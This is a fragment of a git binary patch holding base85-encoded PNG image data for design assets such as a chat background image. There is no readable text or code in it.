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 literal 0 HcmV?d00001 diff --git a/design/i/background-chat-left.png b/design/i/background-chat-left.png new file mode 100644 index 0000000000000000000000000000000000000000..2c22c8f71515bc4b639490044c9d94602af5a157 GIT binary patch literal 14693 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 